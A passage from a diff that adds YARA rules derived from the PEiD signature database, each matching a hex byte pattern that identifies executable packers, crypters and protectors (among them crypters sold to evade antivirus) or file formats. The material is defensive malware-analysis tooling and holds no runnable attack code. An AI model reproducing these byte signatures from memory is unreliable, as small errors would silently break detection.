+        $a
+}
+
+rule PEiD_00023_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+    condition:
+        $a
+}
+rule PEiD_00024_ABC_Cryptor_1_0___by_ZloY_
+{
+    meta:
+        description = "[ABC Cryptor 1.0 - by ZloY]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+    condition:
+        $a
+}
+
+rule PEiD_00025_ACE_Archive_
+{
+    meta:
+        description = "[ACE Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? 2A 2A 41 43 45 2A 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00026_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00027_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00028_ACProtect_1_09g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect 1.09g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00029_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+    condition:
+        $a
+}
+rule PEiD_00030_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00031_ACProtect_V1_3X____risco_
+{
+    meta:
+        description = "[ACProtect V1.3X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 50 E8 01 00 00 00 75 83}
+    condition:
+        $a
+}
+
+rule PEiD_00032_ACProtect_v1_41_
+{
+    meta:
+        description = "[ACProtect v1.41]"
+        ep_only = "true"
+    strings:
+        $a = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00033_ACProtect_V1_4X____risco_
+{
+    meta:
+        description = "[ACProtect V1.4X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00034_ACProtect_v1_90g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect v1.90g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+    condition:
+        $a
+}
+rule PEiD_00035_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00036_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00037_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+    condition:
+        $a
+}
+
+rule PEiD_00038_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+    condition:
+        $a
+}
+
+rule PEiD_00039_ActiveMARK_TM_
+{
+    meta:
+        description = "[ActiveMARK[TM]"
+        ep_only = "true"
+    strings:
+        $a = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+    condition:
+        $a
+}
+rule PEiD_00040_AdFlt2_
+{
+    meta:
+        description = "[AdFlt2]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+    condition:
+        $a
+}
+
+rule PEiD_00041_Adlib_Sample_Audio_file_
+{
+    meta:
+        description = "[Adlib Sample Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00042_Ady_s_Glue_1_10_
+{
+    meta:
+        description = "[Ady's Glue 1.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? 0E 1F BF ?? ?? 33 DB 33 C0 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00043_Ady_s_Glue_v0_10_
+{
+    meta:
+        description = "[Ady`s Glue v0.10]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00044_AHpack_0_1____FEUERRADER__h__
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00045_AHPack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHPack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+    condition:
+        $a
+}
+
+rule PEiD_00046_AHpack_0_1____FEUERRADER_
+{
+    meta:
+        description = "[AHpack 0.1 -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a
+}
+
+rule PEiD_00047_AINEXE_v2_1_
+{
+    meta:
+        description = "[AINEXE v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+    condition:
+        $a
+}
+
+rule PEiD_00048_AINEXE_v2_30_
+{
+    meta:
+        description = "[AINEXE v2.30]"
+        ep_only = "true"
+    strings:
+        $a = {0E 07 B9 ?? ?? BE ?? ?? 33 FF FC F3 A4 A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8}
+    condition:
+        $a
+}
+rule PEiD_00049_Alex_Protector_0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 0.4 beta 1 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+    condition:
+        $a
+}
+
+rule PEiD_00050_Alex_Protector_1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00051_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+    condition:
+        $a
+}
+
+rule PEiD_00052_Alex_Protector_1_0_beta_2_by_Alex_
+{
+    meta:
+        description = "[Alex Protector 1.0 beta 2 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+    condition:
+        $a
+}
+
+rule PEiD_00053_Alex_Protector_v0_4_beta_1_by_Alex_
+{
+    meta:
+        description = "[Alex Protector v0.4 beta 1 by Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+    condition:
+        $a
+}
+
+rule PEiD_00054_Alex_Protector_v1_0____Alex_
+{
+    meta:
+        description = "[Alex Protector v1.0 -> Alex]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B}
+    condition:
+        $a
+}
+/*
+rule PEiD_00055_Alias_PIX_Vivid_IMG_Graphics_format_
+{
+    meta:
+        description = "[Alias PIX/Vivid IMG Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+*/
+rule PEiD_00056_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+    condition:
+        $a
+}
+
+rule PEiD_00057_Alloy_4_x____PGWare_LLC_
+{
+    meta:
+        description = "[Alloy 4.x -> PGWare LLC]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+    condition:
+        $a
+}
+
+rule PEiD_00058_Alloy_v1_x_2000_
+{
+    meta:
+        description = "[Alloy v1.x.2000]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00059_Aluwain_v8_09_
+{
+    meta:
+        description = "[Aluwain v8.09]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 1E E8 ?? ?? 9D 5E}
+    condition:
+        $a
+}
+
+rule PEiD_00060_Amiga_AIFF_8SFX_Audio_file_
+{
+    meta:
+        description = "[Amiga AIFF 8SFX Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+    condition:
+        $a
+}
+
+rule PEiD_00061_Amiga_IFF_ILBM_Graphics_format_
+{
+    meta:
+        description = "[Amiga IFF/ILBM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 49 4C 42 4D 42 4D 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00062_ANDpakk2_0_06___by_Dmitry__AND__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry \"AND\" Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_00063_ANDpakk2_0_06___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.06 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00064_ANDpakk2_0_18___by_Dmitry__quot_AND_quot__Andreev_
+{
+    meta:
+        description = "[ANDpakk2 0.18 - by Dmitry &quot;AND&quot; Andreev]"
+        ep_only = "true"
+    strings:
+        $a = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_00065_Anskya_Binder_v1_1____Anskya_
+{
+    meta:
+        description = "[Anskya Binder v1.1 -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a
+}
+rule PEiD_00066_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70}
+    condition:
+        $a
+}
+
+rule PEiD_00067_Anskya_NTPacker_Generator____Anskya_
+{
+    meta:
+        description = "[Anskya NTPacker Generator -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+    condition:
+        $a
+}
+
+rule PEiD_00068_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00069_Anslym_Crypter_
+{
+    meta:
+        description = "[Anslym Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00070_Anslym_FUD_Crypter___Sign_by_fly_
+{
+    meta:
+        description = "[Anslym FUD Crypter ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+    condition:
+        $a
+}
+/*
+rule PEiD_00071_Anti007____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_00072_Anti007_V1_0_V2_X____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V1.0-V2.X -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+    condition:
+        $a
+}
+
+rule PEiD_00073_Anti007_V2_5_V2_6____NsPacK_Private_
+{
+    meta:
+        description = "[Anti007 V2.5-V2.6 -> NsPacK Private]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00074_Anti007_V2_6____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[Anti007 V2.6 -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
